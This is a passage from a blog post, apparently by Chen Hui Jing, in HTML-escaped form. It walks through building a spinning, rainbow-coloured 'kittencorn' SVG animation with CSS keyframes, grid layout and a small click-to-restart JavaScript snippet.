  &amp;lt;path class=&amp;quot;rainbow&amp;quot; stroke=&amp;quot;#000&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M112.172 294.814c.162-.44.936-1.327 3.831-1.852 2.712-.491 6.499-.505 11.099-.061 9.159.885 20.929 3.525 32.386 7.041 11.461 3.517 22.442 7.861 30.052 12.086 3.835 2.128 6.632 4.129 8.23 5.859 1.691 1.831 1.355 2.513 1.273 2.66-3.557 6.449-6.703 10.517-10.829 13.38-4.148 2.877-9.531 4.708-17.896 6.183-16.152 2.848-28.509-1.923-48.52-10.911-6.312-2.835-9.911-7.947-11.371-14.096-1.477-6.22-.747-13.496 1.745-20.289zM366.828 294.814c-.162-.44-.936-1.327-3.831-1.852-2.712-.491-6.499-.505-11.099-.061-9.159.885-20.929 3.525-32.386 7.041-11.461 3.517-22.442 7.861-30.052 12.086-3.835 2.128-6.632 4.129-8.23 5.859-1.691 1.831-1.355 2.513-1.273 2.66 3.557 6.449 6.703 10.517 10.829 13.38 4.148 2.877 9.531 4.708 17.896 6.183 16.152 2.848 28.509-1.923 48.52-10.911 6.312-2.835 9.911-7.947 11.371-14.096 1.477-6.22.747-13.496-1.745-20.289z&amp;quot;/&amp;gt;
  &amp;lt;path fill=&amp;quot;#000&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; d=&amp;quot;M142.729 141.367l52.56 22.575s-6.123 54.384-47.317 41.688c-23.433-7.223-5.243-64.263-5.243-64.263z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path stroke=&amp;quot;#000&amp;quot; stroke-linecap=&amp;quot;round&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M139.5 140.45l56 24&amp;quot;/&amp;gt;
  &amp;lt;path fill=&amp;quot;#fff&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; d=&amp;quot;M180 181.95c2.761 0 5-4.03 5-9 0-4.971-2.239-9-5-9s-5 4.029-5 9c0 4.97 2.239 9 5 9z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path fill=&amp;quot;#000&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; d=&amp;quot;M336.271 141.367l-52.56 22.575s6.123 54.384 47.317 41.688c23.433-7.223 5.243-64.263 5.243-64.263z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path stroke=&amp;quot;#000&amp;quot; stroke-linecap=&amp;quot;round&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M339.5 140.45l-56 24&amp;quot;/&amp;gt;
  &amp;lt;path fill=&amp;quot;#fff&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; d=&amp;quot;M332 181.95c-2.761 0-5-4.03-5-9 0-4.971 2.239-9 5-9s5 4.029 5 9c0 4.97-2.239 9-5 9z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path fill=&amp;quot;#000&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; d=&amp;quot;M231.498 213.403c2.378-2.079 13.645-1.791 16.729 0 3.084 1.791-3.754 9.199-8.09 9.199-4.335 0-11.017-7.119-8.639-9.199z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path stroke=&amp;quot;#000&amp;quot; stroke-linecap=&amp;quot;round&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M247.756 262.45s-5.481-13.5-7.878-13.5c-2.398 0-7.878 13.5-7.878 13.5&amp;quot;/&amp;gt;
&amp;lt;/svg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It needs to be an inline SVG because I wanted to apply CSS animations to it, and target specific parts of the SVG with CSS classes. So you can see the &lt;code&gt;rainbow&lt;/code&gt; class on some of the &lt;code&gt;&amp;lt;path&amp;gt;&lt;/code&gt;s and the whole SVG has the &lt;code&gt;kittencorn&lt;/code&gt; class.&lt;/p&gt;
&lt;p&gt;In my mind, I wanted the kittencorn to spin while rotating through the colours of the rainbow, then the word “Magic” needed to appear, followed a random twinkle to end things off. Turns out all of those things can be achieved with CSS animations. Fun!&lt;/p&gt;
&lt;p&gt;2 more additions to the markup then:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;p class=&amp;quot;magic&amp;quot;&amp;gt;Magic&amp;lt;/p&amp;gt;
&amp;lt;svg
  class=&amp;quot;sparkle&amp;quot;
  viewBox=&amp;quot;0.0 0.0 50.0 50.0&amp;quot;
  fill=&amp;quot;none&amp;quot;
  stroke=&amp;quot;none&amp;quot;
  stroke-linecap=&amp;quot;square&amp;quot;
  stroke-miterlimit=&amp;quot;10&amp;quot;
&amp;gt;
  &amp;lt;clipPath id=&amp;quot;p.0&amp;quot;&amp;gt;
    &amp;lt;path d=&amp;quot;m0 0l50.0 0l0 50.0l-50.0 0l0 -50.0z&amp;quot; clip-rule=&amp;quot;nonzero&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;
  &amp;lt;/clipPath&amp;gt;
  &amp;lt;g clip-path=&amp;quot;url(#p.0)&amp;quot;&amp;gt;
    &amp;lt;path fill-opacity=&amp;quot;0.0&amp;quot; d=&amp;quot;m0 0l50.0 0l0 50.0l-50.0 0z&amp;quot; fill-rule=&amp;quot;nonzero&amp;quot;&amp;gt;&amp;lt;/path&amp;gt;
    &amp;lt;path
      fill=&amp;quot;#fff&amp;quot;
      d=&amp;quot;m0.62204725 25.0l20.068499 -4.323374l4.309454 -20.13332l4.309454 20.13332l20.068499 4.323374l-20.068499 4.323374l-4.309454 20.133318l-4.309454 -20.133318z&amp;quot;
      fill-rule=&amp;quot;nonzero&amp;quot;
    &amp;gt;&amp;lt;/path&amp;gt;
    &amp;lt;path
      stroke-width=&amp;quot;1.0&amp;quot;
      stroke-linejoin=&amp;quot;round&amp;quot;
      stroke-linecap=&amp;quot;butt&amp;quot;
      d=&amp;quot;m0.62204725 25.0l20.068499 -4.323374l4.309454 -20.13332l4.309454 20.13332l20.068499 4.323374l-20.068499 4.323374l-4.309454 20.133318l-4.309454 -20.133318z&amp;quot;
      fill-rule=&amp;quot;nonzero&amp;quot;
    &amp;gt;&amp;lt;/path&amp;gt;
  &amp;lt;/g&amp;gt;
&amp;lt;/svg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basics of CSS animation&lt;/h2&gt;
&lt;p&gt;The specification that defines how CSS animations work is the &lt;a href=&quot;https://www.w3.org/TR/css-animations-1/&quot;&gt;CSS Animations Level 1&lt;/a&gt;, currently in Working Draft status. This specification allows developers to:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;specify the changes in CSS properties over time as a set of keyframes&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They are fairly similar to &lt;a href=&quot;https://www.w3.org/TR/css-transitions-1/&quot;&gt;CSS transitions&lt;/a&gt; with the key difference being:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;while transitions trigger implicitly when property values change, animations are explicitly executed when the animation properties are applied&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let&apos;s also look at some fun facts about CSS animations which are outlined in the specification.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Animations will override all normal rules, but are overridden by &lt;code&gt;!important&lt;/code&gt; rules&lt;/li&gt;
&lt;li&gt;If there are multiple animations specifying behaviour for the same property, the animation that occurs last wins&lt;/li&gt;
&lt;li&gt;An animation does not affect the computed value before the application of the animation or after it is removed&lt;/li&gt;
&lt;li&gt;The animation computes the value of the properties during the running of the animation but other values may take precedence over the animated value&lt;/li&gt;
&lt;li&gt;An animation starts when the style applying the animation and corresponding &lt;code&gt;@keyframes&lt;/code&gt; rule are both resolved, but dynamically updating keyframe style rules does not start or restart an animation&lt;/li&gt;
&lt;li&gt;Changes to the values of animation properties while the animation is running apply as if the animation had those values from when it began&lt;/li&gt;
&lt;li&gt;The same &lt;code&gt;@keyframes&lt;/code&gt; rule name may be repeated within an animation-name&lt;/li&gt;
&lt;li&gt;Setting the &lt;code&gt;display&lt;/code&gt; property to &lt;code&gt;none&lt;/code&gt; will terminate any running animation applied to the element and its descendants&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Keyframes are used to define the values for the animating properties at specific points during the animation. They are written as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@keyframes animation-name {
  ...;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There&apos;s some stuff you need to know about naming your &lt;code&gt;@keyframes&lt;/code&gt; block though. It can be either a custom identifier (no quotes) or a string (uses quotes). The name is fully case-sensitive, which means if every codepoint of the name matches, then they are considered the same.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* both have the same name, so the first block is ignored */
@keyframes magical {
  ...;
}
@keyframes &amp;quot;magical&amp;quot; {
  ...;
}

/* because of case-sensitivity, this is considered different */
@keyframes MAGICAL {
  ...;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And reserved keywords like &lt;code&gt;none&lt;/code&gt; or &lt;code&gt;initial&lt;/code&gt; won&apos;t work as custom identifiers BUT you can use them as strings. So do the quotes thing and your keyframe magically becomes valid. See what I did there? No? Never mind…&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* these will not work */
@keyframes None {
  ...;
}
@keyframes initial {
  ...;
}

/* but these will */
@keyframes &amp;quot;None&amp;quot; {
  ...;
}
@keyframes &amp;quot;initial&amp;quot; {
  ...;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The syntax of CSS animations&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;animation&lt;/code&gt; is a shorthand property, which covers the following (values are initial default values):&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;animation-name: none&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;animation-duration: 0s&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;animation-timing-function: ease&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;animation-delay: 0s&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;animation-iteration-count: 1&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;animation-direction: normal&lt;/code&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;animation-fill-mode: none&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code&gt;animation-play-state: running&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to have multiple animations on an element, separate each one with a comma. I&apos;m only very briefly covering what these individual properties do, but for full explanations, please read the extremely digestible &lt;a href=&quot;https://www.w3.org/TR/css-animations-1/&quot;&gt;CSS Animations Level 1&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;animation-name&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;We talked about this a bit earlier, and it is used to select the &lt;code&gt;@keyframe&lt;/code&gt; rule which provides the property values for the animation. If this name does not match any keyframes, no animation for you. &lt;code&gt;none&lt;/code&gt; is a keyword value, so if you use it as a custom identifier, no animation for you either.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;animation-duration&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This property defines the duration of a single animation cycle. Essentially how long it takes for the animation to run from start to finish.&lt;/p&gt;
&lt;p&gt;Because CSS obeys the laws of physics, negative time values are invalid. Although if you define this as &lt;code&gt;0s&lt;/code&gt;, even though the keyframes have no effect, the animation still occurs but instantaneously.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;animation-timing-function&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This property describes how the animation function will progress between each pair of keyframes. There&apos;s even a separate CSS specification for timing functions called &lt;a href=&quot;https://www.w3.org/TR/css-easing-1/&quot;&gt;CSS Easing Functions Level 1&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Because animation is way more complicated than most of us care to think about. Also, during &lt;code&gt;animation-delay&lt;/code&gt;, the &lt;code&gt;animation-timing-function&lt;/code&gt; is not applied.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;animation-delay&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This property defines when the property will start, so you can make the animation start a bit later, or make it appear to have started before it was applied. This bit needs some explanation. So unlike the &lt;code&gt;animation-duration&lt;/code&gt; property, a negative time value in this case is actually valid.&lt;/p&gt;
&lt;p&gt;It&apos;s just that the browser will progress the animation to a point where it would have been had the animation started some time in the past. So it seems like it started partway through its active duration.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;animation-iteration-count&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This property specifies the number of times the animation gets played. By default the animation will run once from start to finish but you can always make it run multiple times or keep looping with a value of &lt;code&gt;infinite&lt;/code&gt;. Because who doesn&apos;t love infinitely running animations? (loads of people, actually)&lt;/p&gt;
&lt;p&gt;Usually people use this with an &lt;code&gt;animation-direction&lt;/code&gt; of &lt;code&gt;alternate&lt;/code&gt; so the animation can play in reverse on alternate cycles.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;animation-direction&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This property, as mentioned earlier, defines if an animation should play in reverse on some or all of the cycles. When you play an animation in reverse, the timing functions also end up getting reversed. So an &lt;code&gt;ease-in&lt;/code&gt; ends up becoming an &lt;code&gt;ease-out&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Your options for this are &lt;code&gt;normal&lt;/code&gt;, &lt;code&gt;reverse&lt;/code&gt;, &lt;code&gt;alternate&lt;/code&gt; and &lt;code&gt;alternate-reverse&lt;/code&gt;. Because choices.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;animation-fill-mode&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This property defines what values are applied by the animation outside the time it is actually running. By default, the animation will not affect property values after it has done running, but &lt;code&gt;animation-fill-mode&lt;/code&gt; can override this behaviour.&lt;/p&gt;
&lt;p&gt;For example, if you animated something from the left of the screen to the right, after the animation ends, your thing will morph back to its original position if you don&apos;t do anything. So if you had wanted your thing to stay put at the end, you&apos;d apply a value of &lt;code&gt;forwards&lt;/code&gt; for this property.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;animation-play-state&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This property defines whether the animation is running or paused. Pretty straightforward (as compared to some of the other properties, imho). &lt;code&gt;running&lt;/code&gt; means the animation proceeds as normal, while &lt;code&gt;paused&lt;/code&gt; means the animation is paused. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If the animation is set to paused during the animation delay phase, then the delay clock is also paused.&lt;/p&gt;
&lt;h2&gt;Some layout things&lt;/h2&gt;
&lt;p&gt;Wei created a gorgeous set of hand-doodled slides for an elevator pitch about a new meetup she&apos;s starting up (more on that at the end), and they looked great. I am a big advocate of &lt;a href=&quot;/blog/how-i-design-with-css-grid/&quot;&gt;sketching things out on pencil and paper&lt;/a&gt;), but never really got into the digital side of things.&lt;/p&gt;
&lt;p&gt;I guess I was too used to the feel of a pencil (or paintbrush) but sketching on a tablet isn&apos;t the worse experience in the world. The only way to get better at something is to do it, right? Anyway, here was the plan in my head sketched out.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/magical-kittencorn/sketch-480.jpg 480w, /images/posts/magical-kittencorn/sketch-640.jpg 640w, /images/posts/magical-kittencorn/sketch-960.jpg 960w, /images/posts/magical-kittencorn/sketch-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/magical-kittencorn/sketch-640.jpg&quot; alt=&quot;Sketch of the planned animation&quot;&gt;
&lt;p&gt;Before animating anything, we must lay out all the things. Remember this was supposed to be a screen capture to begin with? So there&apos;s nothing else on the page other than what you saw in the above sketch. Which makes it so much easier to position it right smack on the centre of the page.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;html {
  box-sizing: border-box;
  height: 100%;
}

*,
*::before,
*::after {
  box-sizing: inherit;
  margin: 0;
  padding: 0;
}

body {
  display: flex;
  height: 100%;
  font-family: &amp;quot;Lemon&amp;quot;, cursive;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These are pretty much my standard reset styles nowadays. May not work for you, but works out great for me. If you don&apos;t want to do the &lt;code&gt;height: 100%&lt;/code&gt; thing on multiple elements, it&apos;s perfectly fine to chuck a &lt;code&gt;height: 100vh&lt;/code&gt; on the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element instead.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;div {
  display: grid;
  grid-template-columns: max-content max-content;
  gap: 1em;
  align-items: center;
  margin: auto;
  position: relative;
  cursor: pointer;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All 3 bits to be animated are wrapped in a single &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, which will have an &lt;code&gt;id&lt;/code&gt; of &lt;code&gt;magic&lt;/code&gt; for the tiny bit of JavaScript to be sprinkled on at the end. What do you do when you have a single item that needs to be centred in its parent? Auto-margins, that&apos;s what.&lt;/p&gt;
&lt;p&gt;And since we were already set up with a parent-child relationship for the 3 animatable bits, rather than fiddle around with &lt;code&gt;inline-block&lt;/code&gt; and vertical alignment, or &lt;code&gt;flex&lt;/code&gt; and the browser doing its own sizing thing, I went with &lt;code&gt;grid&lt;/code&gt; to place them instead. Content-based sizing is cool, yo.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.kittencorn {
  height: 50vmin;
}

.rainbow {
  fill: #a3e048;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you&apos;re using SVGs that use &lt;code&gt;viewBox&lt;/code&gt; over explicitly set &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; values, make sure you set a height on the SVG with CSS. Also, I went with setting the default fill colour of my kittencorn in CSS instead of on the SVG itself, but you can always put the fill in the SVG itself.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;p {
  font-size: calc(1.5em + 7vmin);
  writing-mode: vertical-rl;
  text-orientation: upright;
  text-transform: uppercase;
  overflow: hidden;
  height: 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;overflow&lt;/code&gt; and &lt;code&gt;height: 0&lt;/code&gt; thing on the text is a set up for the letters to appear in the later animation. My original plan was to make each letter materialise 1 by 1, with the &lt;code&gt;opacity&lt;/code&gt; property, but that would have required animating each letter individually.&lt;/p&gt;
&lt;p&gt;It&apos;s definitely do-able, but I had to wrap each letter of the word “Magic“ in its own &lt;code&gt;span&lt;/code&gt;. In the end, I built both versions so you can see how either implementation works. Animating each letter individually also meant more timings to take care of.&lt;/p&gt;
&lt;p&gt;The lazy version involved animating the height of the &lt;code&gt;p&lt;/code&gt; element from 0 to 100% so it looked like the text was flowing in from somewhere.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.sparkle {
  position: absolute;
  opacity: 0;
  top: 25%;
  right: 35%;
  height: 2em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lastly, the sparkle. I wanted it on the kittencorn itself, so &lt;code&gt;position: absolute&lt;/code&gt; was the way to go in this case. Just remember to set &lt;code&gt;position: relative&lt;/code&gt; on the direct parent otherwise its going to be positioned relative to the whole page instead.&lt;/p&gt;
&lt;h2&gt;Let&apos;s make it magical&lt;/h2&gt;
&lt;p&gt;It was going to be 3 animations happening sequentially. But the thing about chaining animations is that momentary tiny pause or a momentary overlap between animations that makes it feel quite different. I&apos;m not an expert in animation so I don&apos;t know the scientific explanation for this. Don&apos;t quote me.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/magical-kittencorn/sketch2-480.jpg 480w, /images/posts/magical-kittencorn/sketch2-640.jpg 640w, /images/posts/magical-kittencorn/sketch2-960.jpg 960w, /images/posts/magical-kittencorn/sketch2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/magical-kittencorn/sketch2-640.jpg&quot; alt=&quot;Timeline of animation&quot;&gt;
&lt;p&gt;As with all my unprofessional endeavours, I just tweaked the timing until it felt right. Especially for the alternate implementation which involved animating each letter of the word “Magic”. Anyway, keyframe time!&lt;/p&gt;
&lt;p&gt;The colour change involves animating the SVG&apos;s &lt;code&gt;fill&lt;/code&gt; property through a series of rainbow colours.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@keyframes rainbow {
  0% {
    fill: #a3e048;
  }
  14.3% {
    fill: #f7d038;
  }
  28.6% {
    fill: #eb7532;
  }
  42.9% {
    fill: #e6261f;
  }
  57.2% {
    fill: #49da9a;
  }
  71.5% {
    fill: #34bbe6;
  }
  85.8% {
    fill: #4355db;
  }
  100% {
    fill: #d23be7;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The spin is a rotation transform. I tried doing a single spin with 2 iteration counts, but it wasn&apos;t smooth. A double spin of 720 degrees run once was much better.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@keyframes spin {
  100% {
    transform: rotate(720deg);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This bit is for the text. The keyframes are straight-forward, it was the timings which needed a bit more effort.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@keyframes type {
  0% {
    height: 0;
  }
  100% {
    height: 100%;
  }
}

/* This is the alternate version for individual letters */
@keyframes type {
  0% {
    opacity: 0;
  }
  100% {
    opacity: 1;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Again, a double rotation for the sparkle, but also a bit of a scaling effect, for good measure. When using multiple transforms on a single element (or keyframe), remember to put them all in the same transform property.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@keyframes sparkle {
  0% {
    opacity: 0;
    transform: rotate(0deg) scale(0);
  }
  50% {
    opacity: 1;
    transform: rotate(360deg) scale(1.3);
  }
  100% {
    opacity: 0;
    transform: rotate(720deg) scale(0);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Not sure if you really went through each of the animation properties, but some of them are required for my idea to work as I imagined.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.animate {
  .kittencorn {
    animation: spin 2s;
  }

  .rainbow {
    animation: rainbow 2s;
    animation-fill-mode: forwards;
  }

  p {
    animation: type 1s linear;
    animation-delay: 1.9s;
    animation-fill-mode: forwards;
  }

  .sparkle {
    animation: sparkle 2s;
    animation-delay: 3.3s;
    animation-fill-mode: forwards;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because I wanted the ending keyframe to persist, &lt;code&gt;animation-fill-mode&lt;/code&gt; was set to &lt;code&gt;forwards&lt;/code&gt; for all the animations. Not necessary for &lt;code&gt;spin&lt;/code&gt; because the start and end position is exactly the same. The rest of it was manually tweaking the &lt;code&gt;animation-delay&lt;/code&gt; until I got the feeling I was looking for.&lt;/p&gt;
&lt;p&gt;Here&apos;s the alternate version of the text animation:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;span:first-child {
  animation: type 1s linear;
  animation-delay: 1.9s;
  animation-fill-mode: forwards;
}

span:nth-child(2) {
  animation: type 1s linear;
  animation-delay: 2.5s;
  animation-fill-mode: forwards;
}

span:nth-child(3) {
  animation: type 1s linear;
  animation-delay: 3.1s;
  animation-fill-mode: forwards;
}

span:nth-child(4) {
  animation: type 1s linear;
  animation-delay: 3.7s;
  animation-fill-mode: forwards;
}

span:nth-child(5) {
  animation: type 1s linear;
  animation-delay: 4.3s;
  animation-fill-mode: forwards;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want to see the code for yourself or modify it to do other things, here&apos;s the Codepens for both. The first one is the animate-height-of-text version and the second one is the fade-in-each-letter version.&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;365&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;YmXBwb&quot; style=&quot;height: 365px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;Magical kittencorn&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/YmXBwb/&quot;&gt;
  Magical kittencorn&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;365&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;gVLvrG&quot; style=&quot;height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;Magical kittencorn (alternate)&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/gVLvrG/&quot;&gt;
  Magical kittencorn (alternate)&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;There&apos;s also a full page &lt;a href=&quot;https://huijing.github.io/demos/magical-kittencorn/&quot;&gt;no Codepen demo version&lt;/a&gt;, and source code on &lt;a href=&quot;https://github.com/huijing/demos/tree/master/magical-kittencorn&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;So you want to restart your animation&lt;/h2&gt;
&lt;p&gt;While I was building out the whole thing, because my setup was browser-sync-ified, every time I hit “save”, the animation triggered itself. But I soon realised it was probably a good idea to allow people to restart the animation somehow.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;&quot;&gt;Chris Coyier&lt;/a&gt; had me covered with his 8-year-old article, &lt;a href=&quot;https://css-tricks.com/restart-css-animation&quot;&gt;Restart CSS animation&lt;/a&gt;. The code is not complicated, it&apos;s about adding and removing a CSS class, but there is a magic line in there.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const magic = document.getElementById(&amp;quot;magic&amp;quot;);

// Technique from CSS Tricks article, Restart CSS Animation (https://css-tricks.com/restart-css-animation)
magic.addEventListener(
  &amp;quot;click&amp;quot;,
  function (e) {
    e.preventDefault;
    magic.classList.remove(&amp;quot;animate&amp;quot;);

    // This is the magic line
    void magic.offsetWidth;

    magic.classList.add(&amp;quot;animate&amp;quot;);
  },
  false
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyway, people can now click on the kittencorn to restart the animation. Because you can&apos;t just let it run once, right?&lt;/p&gt;
&lt;p&gt;In case the CodePens don&apos;t load or something, here&apos;s the end result for both.&lt;/p&gt;
&lt;div class=&quot;double&quot;&gt;
    &lt;figure&gt;
        &lt;figcaption&gt;Spin clockwise…&lt;/figcaption&gt;
        &lt;video controls autoplay muted loop&gt;
          &lt;source src=&quot;/videos/kittencorn.mp4&quot; type=&quot;video/mp4&quot; /&gt;
          Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
          but don&apos;t worry, you can &lt;a href=&quot;/videos/kittencorn.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
          favourite video player!
        &lt;/video&gt;
    &lt;/figure&gt;
    &lt;figure&gt;
        &lt;figcaption&gt;Spin anti-clockwise…&lt;/figcaption&gt;
        &lt;video controls autoplay muted loop&gt;
          &lt;source src=&quot;/videos/kittencorn-alt.mp4&quot; type=&quot;video/mp4&quot; /&gt;
          Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
          but don&apos;t worry, you can &lt;a href=&quot;/videos/kittencorn-alt.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
          favourite video player!
        &lt;/video&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Thank you for sitting through another edition of Hui Jing does useless things. This useless thing was quite fun to do though. And maybe you learned a little bit about how CSS animations work as well.&lt;/p&gt;
&lt;p&gt;I want to take this opportunity to highlight a new meetup in town run by Wei called &lt;a href=&quot;https://reactknowledgeable.org/&quot;&gt;React Knowledgeable&lt;/a&gt; AKA &lt;code class=&quot;no-break&quot;&gt;&amp;lt;RK⚡️ /&amp;gt;&lt;/code&gt;.&lt;/p&gt;
